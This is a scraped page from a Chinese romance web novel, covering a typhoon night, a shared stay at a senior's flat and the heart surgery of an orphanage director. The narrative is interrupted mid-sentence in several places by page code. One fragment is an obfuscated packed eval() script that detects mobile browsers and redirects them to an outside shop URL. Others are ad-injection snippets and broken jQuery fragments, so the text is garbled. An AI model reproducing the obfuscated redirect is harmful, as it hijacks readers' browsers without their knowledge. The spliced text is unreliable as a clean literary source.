烟花结束后就是闭园的时间。 贺存今天没开车，跟鹿溪午一起在门口的公交站等深夜最后一班车。 鹿溪午吧嗒吧嗒从深夜出摊的馄饨推车上，提了两碗冒着热气的馄饨，递给坐在公交站椅子上的贺存。 “一起吃吧。” 指腹不经意地擦过贺存的腕骨，轻柔得像是蝴蝶落下的翅膀。 让人无端回忆起今天逃离人群时，拉住鹿溪午手腕的一瞬。 柔韧的血肉包裹着纤细的骨骼，他一掌便可轻松环住，皮肤是常年不见阳光的白皙，隐约能见青筋环绕的血管，和想象中如出一辙的细腻。 贺存含笑接过馄饨，烫熟的紫菜香气扑面，混合着绿色的葱花，混沌个头不大，但胜在味道鲜美。 鹿溪午被烫得直哈气，仰头时眼泪从眼眶流出，隔着厚厚的泪膜，鹿溪午可怜巴巴地伸出手：“学长，有纸吗？” 真是猫舌头。 贺存无奈抽出一张手帕纸递给他：“小心，没人跟你抢。” 鹿溪午呼呼哈气，他的骨相生得极好，哪怕在做这样狰狞的大表情，也能让人觉得可爱。鸦羽般的睫毛扑闪，委屈地在眼底投出一片阴影。 “唔太窝了……” 疯玩了一天，细数起来唯一能够算是正餐的东西竟是看烟花时，盘子里几个小小的三明治。 鹿溪午缓了好半天，“小时候的梦终于实现了，我兴奋。” 鹿溪午看着不远处游乐园的大门，怅然地感叹：“不过，明天又得变成大人了。” “以后想变成小孩子了再来就行。”贺存看向身边难得露出迷惘不舍神色的鹿溪午，“随时来找我。我陪你。” . 愉快的游乐园之行落下帷幕。 鹿溪午跟贺存告别后回家，登录了社交账号时，发现自己又上热搜了！ 原来是那个大叔把自己打通游乐园小摊的游戏录像发到了网上—— [这是D神的操作吧？有没有粉丝帮忙鉴定一下？] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749563|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' [附录像] 【D神老粉闻风而来～】 【是他，是那个男人，我直觉超准！】 【你看那一套丝滑的寒气小连招，绝逼是他，实锤了】 [截图1：36][截图3：02][截图3：30] [看这几张图，跟D神的操作习惯是不是一模一样？] 【@deer，你居然抛下我们去游乐园玩！】 【我说怎么今天不直播呢？@deer】 【只有我一个人的重点是博主见到活的deer了？长什么样子？求照片啊啊啊@博主】 大叔拿着手机为难地回：[那时候注意力全在屏幕上了，都没仔细看D神长什么样，就记得是一帅小伙。] 【帅的！】 【宅男认证的帅哥哦哦哦】 一大波女粉被大叔的回应炸出，不少大触开始摸图，一个比一个更帅的产图蜂拥而来，一下子让#deer帅小伙#的标签爆了。 更让鹿溪午觉得离谱的是，有人居然把这些图片收集起来搞了投票——【哪个张图更接近你心中的deer？】 高居榜首的是一张色彩大胆，笔触流畅的图片，其中穿着TD队服的鹿溪午占据视觉中心，双手插兜，右手手臂夹着键盘，身后站满了他在比赛中用过的所有英雄。 莫名中二。 鹿溪午尬得脚趾扣地，可网友却偏爱这样的调调—— 【好燃，好热血！】 【这张图封神好么】 【啊啊啊啊啊prprpr】 就连一向不爱发声的干脆面大佬也在超话里发了链接【图三好看。】 于是超话也炸了。 【干脆面老板！活的！】 【好磕好磕好磕】 【神秘多金大佬×中二电竞少年？】 【图三投了】 甚至官方个下场皮了一把：【投票过百万，我们给寒冰荆棘设计一款D神皮肤，快来投票吧。】 鹿溪午：…… 你们有没有问过当事人的意见！还有那些乱磕CP的，要是被学长看见了他该怎么解释？！ 对此，鹿溪午只能持续装死，并找到大佬发送信息： [大佬是真的觉得画的好看吗QAQ] 大佬：[好看的，我已经找那个画师约了好几张画稿，过几天画完了给你看。] 鹿溪午眼前一黑，可怜巴巴地打字：[别画得太中二，行吗？] 大佬：[OK] 大佬：[最近进展怎么样？还好吗？] 675：[嘿嘿，我感觉有戏。] 鹿溪午并不知道屏幕那头的人眼神更柔和了一些：[那祝贺你，勇敢去爱吧。] 25.台风 秋季赛决赛，最终还是GH3:2战胜了NH，拿了冠军。 鹿溪午作为观众看得十分尽兴，当晚就给GH发去了恭喜。 sad遵守了约定，愉快地跟鹿溪午双排玩了一个下午。 临近下播的时候，sad好心地提醒了鹿溪午一句：“天气预报说今晚台风登陆，你们那估计要受影响，你做好准备了没？” 鹿溪午一脸茫然：“啊？这都秋天了还有台风？！” “……祝你好运。” 鹿溪午赶紧下播，打开天气预报的软件： [中央气象台统计，台风“杜鹃”将于11月2日下午至晚间在东南沿海以强台风级登陆。预计，“杜鹃”将以每小时15公里左右的速度向西北移动。目前，中央气象台已发布台风红色预警，市政府提醒广大市民，密切关注气象部门发布的天气预报，做好防护措施……] “这也太突然了吧……” 鹿溪午抱怨的话都还没说完，只听见窗外哗地一声闪电，紧接着就是漫天的大雨。 “我的衣服！” 鹿溪午哀嚎一声，拿起晾衣杆开始快速收衣服。 瓢泼的大雨像珠子一样毫不留情地跳入阳台，溅起一朵朵的水花。 鹿溪午抢救着自己的衣服，却顾不上自己被溅进屋内的雨水淋湿了裤腿。 好不容易收完衣服，鹿溪午才有空来检查自己的门窗。 趁着风还不大，鹿溪午把能关的窗户全关得死死的，阳台门也用铁丝拧上加固，又去检查了下水道确认没有堵上的情况，才略微松了口气。 做完这些，窗外的天已经黑透了，厚重的云一层又一层地铺在天空，窗外已经昏沉得好似午夜。 无数树叶，塑料袋，街上的各色垃圾已经开始随着大风在空中肆意飞舞，玻璃窗上布满了雨水的轨迹。 靠近窗户一侧的地板被突如其来的雨水打湿了，水腥气在密不透风的房间里弥漫开来。 鹿溪午顾不上换一身衣服，去厕所拿了拖把准备开始清理水渍。 然而恰在此时，只听哐当一声巨响，鹿溪午家的所有灯泡霎时熄灭，黑暗和寂静在屋里蔓延开去，只听得见窗外隐隐约约的风号。 不知这场大风刮断了哪根倒霉的电线，没有了电力的支持，鹿溪午家的所有电器集体罢工。 鹿溪午握紧了手中的拖把，他的眼前只有一片浓郁的黑暗，好像是打翻的墨汁糊在了他的眼睛上，空寂像是一把小锤，重重地敲在他的耳膜。 有点不妙啊。 现在他的手里除了一杆拖把之外，什么也没有。 假如给我三秒光明？黑暗中，鹿溪午开始苦中作乐。 此时，一道略显刺耳的手机铃声划破夜空。 鹿溪午欣喜地借着手机屏幕的微光，两步走到了沙发前，一看，乐了—— “学长，你的电话简直太及时了！” “我看业主群里说你们那边停电了，你没事吧？” “没事啊，我有手机呢。” 然而还不等贺存紧绷的肩背松懈下来，他就听见电话那边传来咚地一声闷响，随之而来鹿溪午抽气的痛吟： “嘶——” “怎么了？你没事吧？！” 但鹿溪午此时却顾不上回答贺存焦急地喊声，他正借着手机的微光，龇牙咧嘴地捂着自己的膝盖。 “鹿溪午！”贺存恨不得直接插双翅膀飞过来，“快回话！” “……没事，就是撞到茶几上了。” 鹿溪午缓了口气，正想把手移开，却摸到了一缕温热湿黏的液体——是血。 锋利的茶几边缘将皮肤割开了一个不短的伤口，血液沿着皮肤纹路向下滴落。 鹿溪午从来没觉得自己的夜盲症这么碍事过。 窗外的风还在刮着，一下又一下，拼凑出连绵不绝的哀嚎。 “你有蜡烛吗？”贺存心焦地揉揉眉心，在原地来回踱步。 “没有。”鹿溪午回答得小心翼翼，语气乖巧，像是一个犯了错的孩子。 贺存再次看了一眼窗外，确定此时的风雨还能让人通行后，随便裹了一件大衣，抓起车钥匙，夺门而出。 贺存一边按电梯一边跟鹿溪午叮嘱：“你看不见就待在原地不要乱动，我十五分钟就到。” “啊？”鹿溪午懵了，“你要来找我吗？” 贺存已经走到了车跟前，打开车门，钻进驾驶位，动作一气呵成，“是的，鹿溪午同学，希望我来之前，你不要再把自己弄伤了。” “不是，等等！”鹿溪午急了，“外面的雨太大，现在开车太危险了，学长你别——” 滴。 电话被挂断了。 再次回拨过去，但贺存没接。 鹿溪午担忧地望向窗外，哗啦啦的大雨没有丝毫停止的趋势，狂风卷集着树梢猎猎作响。 手机上的天气预报还在孜孜不倦地发送着提醒：[……台风“杜鹃”预计将在三小时后正式登陆我国内陆，请以下地区做好防护措施，避免出现人员伤亡……] 鹿溪午抿了抿唇，摸索着坐到了沙发上。脑子里乱糟糟的，一时不知道该干什么。 他没有接收过这么炽热的善意，就好像凛冬长夜中的篝火，让人忍不住想靠近再靠近一点。 医药箱远在书房，鹿溪午只能打开手机电筒，踉跄着走去包扎。 但一手举着手机，一手处理伤口显然是一件过于吃力的事情。鹿溪午只能歪歪扭扭地勉强给自己扎上绷带。 就在这时，门铃响了。 一看表，正好十五分钟。 鹿溪午一瘸一拐地开了门，半倚在墙边望向门外满身风雨的男人。 贺存看着眼前略显狼狈的鹿溪午，不由得深深叹了口气。 “趁现在外面还能走，快去收拾东西。” “去哪儿？” “我家。” 说话间，贺存已经走进屋子。 手机微弱的的灯光驱不散浓重的黑暗，贺存牵着一脸懵圈的鹿溪午送进了卧室，“赶紧拿两身衣服，五分钟后我们就走。” “……啊？” 贺存看不清鹿溪午的表情，但也能猜到此时他的想法。 “电力检修起码要等后天台风过去，这几天你先到我家去住着。”贺存看了眼时间，催促道，“动作快点，再过一会儿风力到八级了，我们就彻底走不了了。” 鹿溪午一愣，随即迅速开始收拾东西。 贺存则借着手机的光亮，开始满屋子检查，先是门窗，再是电闸和气阀，最后检查了阳台的下水道没有堵塞才又重新关紧阳台门。 做完这些，鹿溪午也收拾好了。 贺存极为自然地从他手里接过装衣服的背包，牵着他的手出了门。 电停了，电梯也没法运转。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 贺存瞥了眼鹿溪午潦草包扎着的膝盖，把书包背到身前，又复蹲下身：“上来。” “学长，我能走……” 若不是场合不对，不然鹿溪午不会这么矜持。 “按你的速度，到楼下时我们就不用开车走了，游回去吧。” 来到贺存背上的时候，鹿溪午只觉得自己在做梦。 黑暗中灼灼的体温格外明显，结实的肌肉线条随着贺存的行走若隐若现，每一寸被摩擦到的肌肤都化作一丝细微的电流，划过鹿溪午的神经末梢。 贺存身高腿长，速度极快。 没多久就把鹿溪午打包塞进车里。 汽车行驶在暴雨之中，台风天压强变化带来的滞闷感不会随着下雨而消失。雨刷器已经开到了最快，但还是抹不平车窗的水迹。 这时街上已经没有行人了，偶有一二辆跟他们相向行驶的汽车飞驰而过。 贺存握着方向盘，紧紧注视着前方的路况。 鹿溪午收回一直盯在贺存身上的目光，“学长，我自己其实可以的。” 贺存抽空望了一眼后视镜里的鹿溪午，“我不放心。” 一句直白关心，把鹿溪午剩下的话全部堵了回去。 或许是幸运女神的眷顾，两人刚刚回到了贺存的家中，外面的风雨就已经达到了无法通行的地步。 鹿溪午坐在窗边，眼睁睁地看着楼下便利店的招牌被风刮走，重重地砸到围墙上。隔着玻璃，鹿溪午都能感受到此时的风力之大。 但贺存家里却很温暖，灯火通明。室内的隔音材料极好地阻隔了窗外鬼哭狼嚎般的风声，雨水只能击打在外墙，无法进入暖意融融的室内。 鹿溪午环顾屋内，装修很具有贺存的个人特色，纯色的家居配上金色暗纹的壁纸，整个房间简约却雅致。 茶几上凌乱摆放着各种文件夹，笔记本电脑还是打开着的状态，一看就知道当时主人的匆忙离去。 “腿伸出来我看看。” 贺存提着医药箱走到鹿溪午身边，蹲下身子方便仔细观察鹿溪午的伤口。 伤口虽然被鹿溪午自己草草处理过，但仍然看着触目惊心，尤其是鹿溪午本身就皮肤薄，一点点的磕碰都能迅速起一大片淤青紫血，何况这次还被划了一道皮肉翻卷的伤口。 贺存蹙起了眉，手里举着碘伏棉签一时没有下手。 “疼不疼？” 鹿溪午摇摇头，用那双极为漂亮清湛的眸子看向贺存，鸦羽般的睫毛微垂，在眼角透出一小片阴影，像极了一只纯良无害的鹿。 “我自己来吧，学长。” 贺存轻轻躲开了鹿溪午的手，“我先给你消消毒，但这个淤血没法揉散。” 膝盖上传来微凉的触感，没有预想中的刺痛。贺存用碘伏棉签细心地将伤口周围干涸的血迹擦掉，动作轻柔得仿佛是对待一件易碎品似的。 鹿溪午看着贺存专注的神情，银框眼镜遮住了这个人清俊的眉眼，中和了五官中过于冷峭的部分。哪怕是给他上药这件小事，动作间也能看出贺存良好的教养。 “好了，活动一下，不影响你走路吧？” 贺存哪怕是蹲在地上，以一种仰视的角度看他，但鹿溪午还是觉得贺存的肩背像是一座远山，足够沉稳而有力。 鹿溪午能清晰地听见自己的心跳声，他从来没有像现在这一刻认识到自己对面前这个人有多么的心动。 26.同居？ 鹿溪午站起来走了两步，确定绷带不会阻碍到行动后开口：“学长，你怎么什么都会啊？” “之前在非洲学的。”贺存收起医药箱，拿到架子上放好，转身去了卫生间洗了手，“饿不饿？” 鹿溪午挠挠脖子，后知后觉地察觉到一点饿意。 一看表，都七点多了。 贺存踩着拖鞋进了厨房，取出围裙套在身上：“想吃什么？” 鹿溪午看到贺存的装扮，瞬间来了兴致：“学长还会做饭？” “在英国留学，不想学做饭也不行啊。” “有道理。”鹿溪午赞同地点头，走向厨房，“我很好养活的，学长就简单下碗面……” 贺存打开冰箱，露出被塞得满满当当的内里，各种蔬菜水果饮料琳琅满目，鹿溪午甚至看见了一只真空冷冻的波龙。 这……这就是有钱人的冰箱吗？鹿溪午震惊。 大概是鹿溪午的视线停留在那只大波龙上太久了，贺存轻笑一声，在鹿溪午震惊的目光中拿出龙虾，“想吃面吗？去等着。” 不是，就下个面条你拿什么龙虾啊？！ 鹿溪午惊恐万分：“别别别！” “嗯？”贺存拎着龙虾，眼神恰到好处地露出疑惑的目光，“你一直盯着它看，不就是想吃吗？” 鹿溪午：我不是这个意思啊！ “正好这只龙虾是今早阿姨处理好的，趁新鲜赶紧吃了。”贺存一边说一边拿起刀开始剔龙虾肉，“你去坐吧，还得好一会儿呢。” 眼见没法抢救这只大波龙，鹿溪午只好挽起袖子：“我来帮学长吧。” 贺存完整地分理出龙虾尾，开始剥虾钳肉，动作熟练一看就是经常下厨房的人。他闻言朝冰箱那边扬了扬下巴，“你去拿一盒豆腐给我吧。” 鹿溪午拿了一盒豆腐，“切块吗？” “对。” 贺存动作利落地把虾肉切成小块后，正起锅烧着油，“菜刀在这。” 鹿溪午的厨艺不太好，但基本的厨房操作都会，都是小时候跟福利院的鹿奶奶打下手学来的。 等鹿溪午完整的把一块内酯豆腐切完后，贺存那边已经把虾肉用热油过了一遍，正在炒豆瓣酱。 豆瓣酱辛辣微呛的香味传来，引得鹿溪午的口水疯狂分泌，“好香……” 贺存专注于自己面前的锅里，只能口头指挥鹿溪午烧水煮面。 面条是鹿溪午常吃的挂面牌子，他耐心地等着水烧开，歪头看着贺存一样样往炒锅里加调料。 氤氲的热气蒸腾而上，朦胧中勾勒出贺存凌厉的侧颜，哪怕是在厨房也掩不住眉眼间的矜贵之色。 为了避免被发现，鹿溪午只好不舍地收回目光，拿筷子搅了搅锅里的面条。 但同时鹿溪午也错过了贺存眼底一闪而过的纵容与温和。 等到贺存炒的龙虾浇头出锅，鹿溪午的面条也恰好煮熟。 浓郁鲜香的虾肉，伴着雪白的豆腐和麻辣的汤汁一起浇在面条上，蒸腾的香气扑鼻而来。 鹿溪午盯着碗，忍不住咽了咽口水。 贺存笑着递给鹿溪午筷子，“吃吧。” 不知道是不是那只大波龙的原因，明明是常吃的挂面，但鹿溪午就是觉得这碗面条更鲜香。 “好吃！”鹿溪午毫不吝惜自己的夸奖，“学长厨艺了得。” 贺存将锅里剩下的龙虾全部拨到鹿溪午的碗里，“好吃就多吃点。” 柔和的灯光自上而下打在贺存满含笑意的脸上，银框眼睛被他随手放在桌边，整个人很是放松的样子。 餐桌很大，哪怕是两个人一起吃饭也略显空旷，但贺存并不这么觉得。 记忆里，他一直都是一个人孤身吃饭。父母工作忙，对彼此也并不热络，一年到头，也就只有除夕的时候，贺存才能借着节日的关系，跟他们一起吃顿饭。 刚才在厨房指挥鹿溪午烧水的那一瞬间，贺存才真实地感受到了名为家的烟火。 餐桌上两人谁都没开口说话，安闲宁静的氛围缓缓流淌，舒徜，漫长。 . ——叮铃铃！ 鹿溪午被刺耳的闹铃声叫起已是第二天早上，但天色依旧阴沉得如同厚重的灰布，大雨胡乱地砸在玻璃窗上，弥乱的狂风丝毫没有停歇的趋势。 这么大的雨，肯定会停课的……鹿溪午迷迷糊糊地想着，翻个身又把自己塞回温暖的被窝。 然而入手的布料触感却是与以往不同，鹿溪午猛地惊醒，才反应过来自己在贺存家的客房。 不在自己家里，鹿溪午就不太好意思赖床了。 他迅速用客卧的卫浴洗漱完毕，决定在学长起来之前展示一下自己厨艺。 然而，当鹿溪午打开房门，哼着小调来到客厅时，正好跟贺存四目相对。 贺存正抱着笔记本电脑坐在客厅的落地窗前，手边是一杯正冒着热气的咖啡，显然已经起床很久了。 “醒了？厨房有早餐。” 在国外留学多年的贺存更偏向于西式早餐，简单快捷，节约时间。 鹿溪午挑了一个三明治，有些羞愧道：“学长，都起这么早啊？” “习惯了。”贺存弯了弯眼角，“杯子里有果汁。” “哇哦，还是葡萄汁！谢谢学长。”鹿溪午小声惊呼，眼中骤然亮起的星光极大取悦了贺存。 贺存合上笔记本电脑，走到餐桌鹿溪午身边坐下，“专门给你榨的，猜你喜欢。” 鹿溪午捧着杯子，连连点头，正欲说些什么，却突兀的电话铃声打断。 ——是孤儿院的鹿奶奶。 鹿溪午看了眼窗外，外面依旧风雨大作，狂暴之势似乎能撕裂天地。 这时候来电话，不会是…… 鹿溪午的心蓦然沉了下去，孤儿院虽然在郊外，但北郊地势高，只要做好防护，台风洪水一般不会有影响。 “奶奶？”鹿溪午接起电话，手心起了一层薄汗。 “溪午——”是孤儿院的护工阿姨，“院长她，她发病了！” 轰隆—— 窗外恰好闪过一道惊雷。 鹿溪午霍然从椅子上站起，右手把手机攥得紧紧的，语速极快却极稳。 “叫救护车了吗？” “叫了，在路上呢。”护工阿姨又着急又担忧，“我瞧着院长状态不太好，万一……溪午，你得来拿个主意啊。” “我知道。”鹿溪午用力眨了眨眼睛，“我马上往市医院赶，麻烦您先照顾照顾院长。” “台风天，要小心。” 鹿溪午胡乱应了一声，挂断电话就要走，却在转身时被桌腿绊了一跤。 贺存眼疾手快扶住鹿溪午的身形，“别慌，我送你。” “没事。”鹿溪午感激地冲贺存笑笑，尽管笑意已经淡得看不出来，“我自己可以的。” 台风天开车很危险，他已经让学长冒过一次险了，不能再来一次了。 贺存却拿起了玄关的车钥匙，换好了鞋，动作利落得让鹿溪午找不到拒绝的间隙，“走吧。” 鹿溪午只能被动的跟着贺存的脚步，“学长，太麻烦你……” “ () { $(''.inform'').remove(); $(''#content'').append('' 先别急着拒绝。”贺存的目光包容温暖，“这个时候，多一个人总归是多一份力量。” “嗯……谢谢学长。”鹿溪午机械地点点头，心乱如麻地上了贺存的车，一路上脑子里全是关于他和鹿奶奶的往事—— 活动室鹿奶奶给他们讲睡前故事的，操场上鹿奶奶带他们一起玩游戏的，厨房里他跟鹿奶奶包新年饺子的…… 鹿溪午胡乱抹了抹眼睛，继续一言不发地沉默着。 贺存担忧的目光频频瞥向鹿溪午，始终未发一言，体贴的把空间留给鹿溪午整理心情。 车座飞速驶过地面，雨幕之中只能大概看清建筑物的轮廓，透过车窗，看起来就像是一团团胡乱堆叠的色块。 等两人赶到医院已经是两个小时后了。 护工阿姨简单交代了一下鹿奶奶的情况，又匆匆赶回孤儿院照看孩子们。 鹿溪午坐立不安地等在检查室的门口，频频向紧闭的门内望去。 “鹿慧玲家属在吗？” 鹿溪午蹭的从长椅上站起，“我，我在。” “病人现在的情况不适合做介入，只能开胸搭桥，但考虑到病人的年龄和既往病史，手术的风险很大，家属要慎重考虑。” 听到“风险很大”四个字时的，鹿溪午的眼睫颤了颤，像是被风雨吹动的的蝶翅。 其实去年鹿奶奶就查出了冠心病，但是老人家放心不下孤儿院里的孩子，非要等今年跟市孤儿院合并了再做心脏搭桥。 鹿溪午拗不过她，只得顺着鹿奶奶的意思，先做保守治疗。 要是去年自己坚持让鹿奶奶把手术做了，是不是就不会到今天这个地步了？ 鹿溪午闭了闭眼，再睁开时已经看不出丝毫彷徨的迹象，“我们做，医生。” “那好，你先去把住院手续办了吧。” “好。” 鹿溪午抹了把脸，强撑笑颜对着贺存说：“幸好我还记得要带手机。” 贺存心中微叹，没有拆穿他强撑的微笑。 办完手续，鹿溪午才终于在病房里见到了鹿奶奶。 此时的鹿奶奶身上全是监护仪器，老人在药物的作用下睡得很安详。 医院根据鹿奶奶的情况，紧急排了明天一早的手术。 鹿溪午守在鹿奶奶的床边，打了一盆温水给老人擦脸擦手。 贺存推门而进，手里提着医院打包的热气腾腾的饭菜。 “吃点东西吧。” 鹿溪午不知道今天第多少次感谢贺存，“谢谢学长。” 贺存看着眼前乖巧吃饭的鹿溪午，不知道第多少次在心中叹气，“缺什么就告诉我，别自己一个人撑。” “学长今天已经是帮了大忙了。”鹿溪午往嘴里塞着米饭，想尽快吃完东西给鹿奶奶收拾，鹿奶奶一向是最整洁的人了，她一定不喜欢现在这样。 贺存不知道鹿溪午这样的别扭性子到底是怎么养成的。 平日里没事的时候，三天两头的找些蹩脚的理由找他帮忙；如今真的遇上事了，却又一副比谁都能抗的样子。 “你跟院长奶奶关系很好。” 听到贺存开口，鹿溪午顿了顿，点点头：“嗯……是鹿奶奶把我养大的。她是我唯一的亲人了。” 说起鹿奶奶的鹿溪午总是会下意识地弯起眼角，那是一个很轻松的表情，像是被阳光抚慰的猫。 在鹿溪午贫瘠的人生中，鹿奶奶是他为数不多的，值得珍惜的温暖。 贺存忍不住揉了一把鹿溪午的头，无声微叹： 一个人长大，真是辛苦了。 27.治病 台风天确实造成了短暂的停工停学。 林奚也因为天气原因，不得不推迟好几个活动的出席，倒是有更多时间在家里重新拾起声乐的基本功。 而林修则是拿着一份合约，敲开了林奚的琴房。 “小奚，在忙吗？” “哥？怎么了？” 林修将手中的合约递给林奚：“看看吧。” 林奚一头雾水地接过一看，惊呼：“异界之巅的形象代言？！” 他语无伦次：“这这这……不是……可……” “怎么样？开心吗？”林修眼里盈满了笑意。 说不感动是假的，林奚紧紧捏住薄薄的文件夹，没有人会不喜欢金钱和权力带来的便捷。 可是林修对他越好，他就越不想放手离开林家。 “谢谢哥。”林奚的指头抚过“形象代言人”几个字，动作轻柔珍惜，“哥哥最近这么忙，还替我操心……” “跟哥客气干什么？” 对林修来说，一份形象代言人的合约，着实算不上什么难事，无非就是商场上的利益交换。若是多让一点利益给对方能换来林奚的好心情，那他倒觉得是一笔很划算的买卖。 林修没有提林氏旗下的元嘉娱乐为了这份合约付出了什么代价，但林奚知道那绝对不是什么小事。 “过两天天气晴了，你跟我一起去跟异界之巅的运营方吃个饭。” 临走前，林修不放心地嘱咐：“这几天你好好休息，别熬坏身体了。” “好，谢谢哥哥。” 拿到合约，林奚就给张青婉发去了消息。 张青婉不愧为金牌经纪人，在短暂地惊讶后，立即决定了接下来的营销方向。 “……团队这边我会联系，相应的舆论提前做好引导，这是你出道以来最大的一次动作。一定要完成得漂亮又干净。” 林奚嗯了一声，算是同意张青婉的说法，“辛苦了，青婉姐。” 得益于张青婉的操作，林奚自出道以来一直维持着不低的热度，偶尔还能因为综艺表现或者新歌上个热搜。 按理说这样的流量很容易就能接到代言，但林奚和张青婉都是个不愿将就的人，一直想把第一个代言人的位置留给一个国民度足够高，足够跨界吸粉的品牌，而异界之巅就是最佳的选择。 林奚此时此刻无比盼望着台风赶紧过去，他好去忙代言人的事情。 而鹿溪午则是一心挂在鹿奶奶的身上，而无心关注天气。 贺存瞒着鹿溪午托了关系，找了国内知名的心脏专家来为鹿奶奶的手术做主刀。 但是鹿溪午却细心地察觉到了前后医生的不同，每每鹿溪午提起时，总会被贺存恰到好处地打断。 长达七个小时的手术时间结束后，鹿奶奶被推出手术室的那一刻，鹿溪午总算是松了一口气。 在得知了鹿奶奶住院的消息后，鹿溪午陆陆续续接到了不少的电话询问鹿奶奶的情况。 鹿奶奶没有亲人，所有电话都是从前孤儿院出去的孩子打来的。 他们有的成家了，有的还在上学，有的去了外地打工……天南海北的问候电话一声接一声。 也有离得近的，不顾台风，提着几袋水果就上医院来的。 “鹿奶奶这一辈子都在积德，把我们这些孩子养大，她的功德大着呢，一定能挺过这一关的。” 赵悦拉着鹿溪午的手，往鹿溪午的手里塞信封，信封里厚厚的一沓，鹿溪午差点没有捏住。 “你拿着，万一有什么意外，你还可以拿这个钱应应急。” “不用了，悦姐，孤儿院账上有钱。”鹿溪午推辞，“再不济，我也有不少呢，你上班不容易，你留着吧。” 赵悦却很是坚定地摇头，“这是我应该拿的，你就收着，给院长。” 鹿溪午只好收下。 “对了。溪午，那是你男朋友？”赵悦偷偷指了指在走廊尽头打电话的贺存。 鹿溪午愣了愣，“……不是，悦姐，你别乱说。” 赵悦遗憾地收回眼光：“同性婚姻法推行十好几年了，你要是真喜欢，就勇敢去追呀。咱们鹿奶奶，最不放心的就是你了，你要是能给鹿奶奶带个人回去，她指不定多高……。” “姐！” 眼见贺存打完电话，鹿溪午不得不打断赵悦，以防她再说出什么话来，“你先回去吧，等鹿奶奶手术结束了，我再给你发消息。” “诶诶诶？我还没说……你别推我啊……” 终于送走赵悦，鹿溪午可算松了一口气。 “看来你们孤儿院气氛挺好的？”贺存在鹿溪午身边坐下，极为自然地从袋子里摸出一只苹果削皮。 “鹿奶奶是个好人，对我们都很好。从前的孤儿院只有鹿奶奶一个人支撑，活得很难。”鹿溪午陷入了满满的回忆中。 “那时候，鹿奶奶每天睁眼闭眼都是在为生计发愁。但奶奶从来没亏待过我们，每天都有肉蛋奶鱼，可她就只能捡我们吃剩下的吃。” “后来被我看见了，我就每天故意把我的鸡蛋剩给鹿奶奶，后来被她发现了，把我从宿舍打到院子里，打到我亲口承认再也不敢浪费粮食。” 鹿溪午说着，脸上带着自己都没察觉到的温柔笑意，眼睫扑闪，眼眸像是淋在面包上的蜂蜜一般亮晶晶的。 “要是，要是鹿奶奶能再起来打我一顿该多好啊……” 贺存安慰地拍了拍鹿溪午的头，像是在拍抚一只小猫似的：“别担心，医生不是说手术很成功吗？最难的一关已经闯过去了。” 隔着玻璃，鹿溪午看着ICU里的鹿奶奶，心头酸楚至极：“还要看预后呢……但我没法一直待在医院照顾鹿奶奶。” 鹿溪午还是学生，不可能一天24小时到医院照顾鹿奶奶，孤儿院的阿姨要照顾孩子们，也没有时间。 “护工的话，我倒是能给你推荐一个人，她很有经验，只是薪资贵一点。”贺存把手里削好的苹果递给鹿溪午，“你要不要见见？” “那太麻烦你了，学长。” “别说什么麻不麻烦的，举手之劳而已。” 鹿溪午这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 几天来时时受贺存的照拂，连鹿奶奶的管床护士都经常用暧昧的眼神看着他们俩，一副高深莫测的样子。 要是放在以前，鹿溪午会很欣喜这种变化，但现在……鹿溪午不确定贺存对他的好，究竟是出于什么？ 毕竟，贺存是个对路边的流浪猫都很温柔细腻的人…… 等等等会儿！鹿奶奶还躺在床上呢！鹿溪午你在想什么东西！ 鹿溪午严厉地唾弃了一番自己，狠狠地咬了一口贺存削好的苹果，转而说起正事：“既然是学长推荐的，我肯定要看看了。” 贺存推荐的护工姓赵，极为专业，又很有经验，鹿溪午几乎是当场就敲定了人选，告诉赵姨明天就上岗。 鹿溪午终于能略微放心地去学校上学。 经历了台风天气后，学校也恢复了正常的上课秩序。 停课的两天，周有柏在宿舍无所事事吃了满嘴的有关林奚的瓜，一上课，就迫不及待地跟鹿溪午分享。 “那个林奚，你还记得不？就是那个被贺老师……” “我知道，他怎么了？”鹿溪午现在对林奚是敬谢不敏的姿态，但要是有什么关于林奚的瓜，鹿溪午还是愿意吃一吃的。 “上次他的十佳评选不是落榜了吗？结果费劲营销的才子形象被打脸了，网上好一顿嘲呢。” “结果昨天，又不知道哪儿来的消息，说是他当选了异界之颠华国赛区的形象代言人，结果评论区粉丝跟路人吵起来了，还上了热搜。” 周有柏义愤填膺：“虽然林奚是咱们学校的，但我作为异界之颠的骨灰级玩家还是要说，他不合适！！” “哪个赛区的形象代言人跟咱们华国一样是个花瓶？欧洲的代言人是去年世界赛的冠军；美国的代言人是爱好异界的说唱歌手，听说有好几个美服第一；而韩国，人家为了选个形象代言人还专门办了个比赛。” “可林奚做了什么？他除了在几次采访中提过自己是异界的玩家之外，他还说过什么，做过什么了？” 周有柏越说越气愤：“简直是黑幕！” 鹿溪午倒是一脸坦然：“代言人而已，又不需要去比赛，黑幕就黑幕吧。” “可代言人要负责决赛的解说呀！”周有柏一脸正直，“难道要一个游戏理解差到极致的人去解说吗？不行！我不同意！” 鹿溪午安抚着周有柏的情绪：“林奚一个歌手，他怎么会当选异界之颠形象代言人呢？多半是网上的营销号乱说的。” “这你还不知道？林奚的背后是林氏集团啊，元嘉娱乐就是林氏控股，谁知道他们用了什么手段把林奚塞进去了。” 鹿溪午无奈地笑了笑：“那你想要谁去做代言人？” “当然是我D神了。”周有柏又开始每日D吹的日常：“我D神的游戏理解，那绝非一般人可比，要是D神出手……” 鹿溪午头皮一紧，赶紧打断了周有柏的话：“那个，不是还没官宣吗？万一代言人不是林奚呢。” 周有柏顿时像霜打了的茄子，趴在课桌上有气无力道：“希望吧。” 28.看望 然而，周有柏的希望注定落空。 